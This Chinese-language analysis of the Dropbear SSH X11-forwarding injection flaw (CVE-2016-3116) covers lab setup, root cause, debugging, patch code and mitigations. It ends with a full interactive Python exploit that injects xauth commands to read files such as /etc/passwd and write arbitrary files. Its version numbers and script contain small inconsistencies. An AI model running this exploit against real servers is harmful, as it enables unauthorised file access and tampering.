cve-2016-3116 dropbear 注入漏洞分析
字数 1380 2025-08-26 22:11:28
Dropbear SSH服务器X11转发注入漏洞(CVE-2016-3116)深度分析与利用指南
漏洞概述
Dropbear是一个轻量级的SSH服务器和客户端,广泛应用于嵌入式Linux系统(如无线路由器)。CVE-2016-3116是一个存在于Dropbear SSH服务器中的X11转发功能中的命令注入漏洞。
关键信息:
- 漏洞类型:命令注入
- 影响版本:Dropbear <= 2015.71(所有开启X11转发的版本)
- 漏洞条件:需要认证权限且服务器配置中
X11Forwarding yes开启(默认开启) - CVSS评分:8.8(高危)
- 漏洞发现时间:2016年
漏洞背景
X11转发简介
X11是一个用于图形显示的协议,允许在命令行环境下使用图形界面。SSH的X11转发功能需要在配置中开启X11Forwarding选项。
漏洞原理
漏洞源于Dropbear在处理X11认证cookie时未对用户输入进行充分验证,攻击者可以在cookie中注入换行符,从而注入任意xauth命令。通过精心构造的数据包,攻击者可以实现:
- 任意文件读取
- 任意文件写入
- 网络探测(端口扫描)
- 信息泄露
漏洞复现环境搭建
编译有漏洞的Dropbear版本
# 下载漏洞版本
wget https://matt.ucc.asn.au/dropbear/releases/dropbear-2015.71.tar.bz2
tar xvf dropbear-2015.71.tar.bz2
cd dropbear-2015.71
# 编译安装
./configure --prefix=/usr/local/dropbear/ --sysconfdir=/etc/dropbear/
make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp"
sudo make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp" install
# 创建配置目录
mkdir /etc/dropbear
# 启动Dropbear(X11转发默认开启)
sudo ./dropbear -R -F -E -p 2222
漏洞利用详解
利用工具
使用Python编写的漏洞利用脚本,基于Paramiko库实现SSH连接和X11转发注入。
主要功能:
.info- 获取X11认证信息.readfile <path>- 读取任意文件.writefile <path> <data>- 写入任意文件- 直接执行xauth命令
利用示例
- 信息泄露:
#> .info
Authority file: /home/island/.Xauthority
File new: no
File locked: no
Number of entries: 2
- 任意文件读取:
#> .readfile /etc/passwd
root:x:0:0:root:/root:/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
- 任意文件写入:
#> .writefile /tmp/testfile1 `thisisatestfile`
技术原理分析
漏洞位于x11req()和x11setauth()函数中:
x11req()从SSH会话中获取X11认证cookie并存储在chansess结构中:
chansess->x11authcookie = buf_getstring(ses.payload, NULL);
x11setauth()使用popen执行xauth命令时未过滤用户输入:
authprog = popen(XAUTH_COMMAND, "w");
fprintf(authprog, "add %s %s %s\n",display, chansess->x11authprot, chansess->x11authcookie);
攻击者可以在x11authcookie中注入换行符,从而执行任意xauth命令。
可利用的xauth命令
- info - 泄露X11认证信息
- source - 读取任意文件(在第一个空格处截断)
- extract - 写入任意文件(需与
add命令配合) - generate - 可用于端口探测
动态调试分析
使用GDB调试Dropbear进程:
sudo gdb-multiarch dropbear
gef➤ set args -R -F -E -p 2222
gef➤ b x11req
gef➤ b x11setauth
gef➤ set follow-fork-mode child
gef➤ r
观察chansess->x11authcookie的值,可以看到攻击者注入的恶意命令:
gef➤ x /s $rax
0x637f40: "xxxx\nsource /etc/passwd\n"
补丁分析
Dropbear 2016.74修复版本增加了输入验证:
if (xauth_valid_string(chansess->x11authprot) == DROPBEAR_FAILURE ||
xauth_valid_string(chansess->x11authcookie) == DROPBEAR_FAILURE) {
dropbear_log(LOG_WARNING, "Bad xauth request");
goto fail;
}
验证函数xauth_valid_string()实现:
static int xauth_valid_string(const char *s) {
size_t i;
for (i = 0; s[i] != '\0'; i++) {
if (!isalnum(s[i]) &&
s[i] != '.' && s[i] != ':' && s[i] != '/' &&
s[i] != '-' && s[i] != '_') {
return DROPBEAR_FAILURE;
}
}
return DROPBEAR_SUCCESS;
}
修复建议
-
升级Dropbear:
升级至2016.72或更高版本。 -
禁用X11转发:
在编译时删除options.h中的#define ENABLE_X11FWD选项。 -
运行时禁用:
在配置文件中设置X11Forwarding no。
防御措施
- 及时更新Dropbear到最新版本
- 如无需X11转发功能,应彻底禁用
- 实施最小权限原则,限制SSH用户的权限
- 监控异常文件访问和xauth命令执行
参考资源
附录:完整漏洞利用脚本
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Author : <github.com/tintinweb>
import logging
import StringIO
import sys
import os
LOGGER = logging.getLogger(__name__)
try:
import paramiko
except ImportError, ie:
logging.exception(ie)
logging.warning("Please install python-paramiko: pip install paramiko")
sys.exit(1)
class SSHX11fwdExploit(object):
def __init__(self, hostname, username, password, port=22, timeout=0.5,
pkey=None, pkey_pass=None):
self.ssh = paramiko.SSHClient()
self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
if pkey:
pkey = paramiko.RSAKey.from_private_key(StringIO.StringIO(pkey),pkey_pass)
self.ssh.connect(hostname=hostname, port=port,
username=username, password=password,
timeout=timeout, banner_timeout=timeout,
look_for_keys=False, pkey=pkey)
def exploit(self, cmd="xxxx\n?\nsource /etc/passwd\n"):
transport = self.ssh.get_transport()
session = transport.open_session()
LOGGER.debug("auth_cookie: %s"%repr(cmd))
session.request_x11(auth_cookie=cmd)
LOGGER.debug("dummy exec returned: %s"%session.exec_command(""))
transport.accept(0.5)
session.recv_exit_status() # block until exit code is ready
stdout, stderr = [],[]
while session.recv_ready():
stdout.append(session.recv(4096))
while session.recv_stderr_ready():
stderr.append(session.recv_stderr(4096))
session.close()
return ''.join(stdout)+''.join(stderr) # catch stdout, stderr
def exploit_fwd_readfile(self, path):
data = self.exploit("xxxx\nsource %s\n"%path)
if "unable to open file" in data:
raise IOError(data)
ret = []
for line in data.split('\n'):
st = line.split('unknown command "',1)
if len(st)==2:
ret.append(st[1].strip(' "'))
return '\n'.join(ret)
def exploit_fwd_write_(self, path, data):
dummy_dispname = "127.0.0.250:65500"
ret = self.exploit('\nadd %s %s aa'%(dummy_dispname, data))
if ret.count('bad "add" command line')>1:
raise Exception("could not store data most likely due to bad chars (no spaces, quotes): %s"%repr(data))
LOGGER.debug(self.exploit('\nextract %s %s'%(path,dummy_dispname)))
return path
if __name__=="__main__":
logging.basicConfig(loglevel=logging.DEBUG)
LOGGER.setLevel(logging.DEBUG)
if not len(sys.argv)>4:
print """ Usage: <host> <port> <username> <password or path_to_privkey>"""
sys.exit(1)
hostname, port, username, password = sys.argv[1:]
port = int(port)
pkey = None
if os.path.isfile(password):
password = None
with open(password,'r') as f:
pkey = f.read()
elif password==".demoprivkey":
pkey = PRIVKEY
password = None
LOGGER.info("connecting to: %s:%s@%s:%s"%(username,password if not pkey else "<PKEY>", hostname, port))
ex = SSHX11fwdExploit(hostname, port=port,
username=username, password=password,
pkey=pkey,
timeout=10
)
LOGGER.info("connected!")
LOGGER.info ("""
Available commands:
.info
.readfile <path>
.writefile <path> <data>
.exit .quit
<any xauth command or type help>
""")
while True:
cmd = raw_input("#> ").strip()
if cmd.lower().startswith(".exit") or cmd.lower().startswith(".quit"):
break
elif cmd.lower().startswith(".info"):
LOGGER.info(ex.exploit("\ninfo"))
elif cmd.lower().startswith(".readfile"):
LOGGER.info(ex.exploit_fwd_readfile(cmd.split(" ",1)[1]))
elif cmd.lower().startswith(".writefile"):
parts = cmd.split(" ")
LOGGER.info(ex.exploit_fwd_write_(parts[1],' '.join(parts[2:])))
else:
LOGGER.info(ex.exploit('\n%s'%cmd))
LOGGER.info("--quit--")